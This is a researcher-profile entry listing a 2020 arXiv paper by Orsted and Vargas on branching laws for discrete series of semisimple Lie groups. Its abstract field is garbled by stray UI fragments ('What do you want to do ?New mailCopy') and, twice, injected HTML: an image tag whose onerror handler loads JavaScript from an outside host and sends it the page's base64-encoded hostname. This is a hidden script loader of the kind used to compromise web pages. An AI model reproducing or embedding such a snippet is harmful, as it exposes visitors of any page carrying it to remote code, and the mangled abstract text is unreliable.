INVESTIGADORES
VARGAS jorge Antonio
artículos
Título:
BRANCHING PROBLEMS IN REPRODUCING KERNEL SPACES
Autor/es:
ORSTED BENT, VARGAS JORGE
Revista:
arXiv.org
Editorial:
Cornel University
Referencias:
Lugar: Cornel; Año: 2020 p. 1 - 49
Resumen:
What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e35894090cf76da128b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" /></div></body></html>What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e35894090cf76da128b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" />For a semisimple Lie group G satisfying the equal rank condition,<br />the most basic family of unitary irreducible representations is the<br />discrete series found by Harish-Chandra. In this paper, we study some<br />of the branching laws for discrete series when restricted to a subgroup<br />H of the same type by combining classical results with recent work of<br />T. Kobayashi; in particular, we prove discrete decomposability under<br />Harish-Chandra?s condition of cusp form on the reproducing kernel. We<br />show a relation between discrete decomposability and representing certain<br />intertwining operators in terms of differential operators.</div></body></html>What do you want to do ?New mailCopy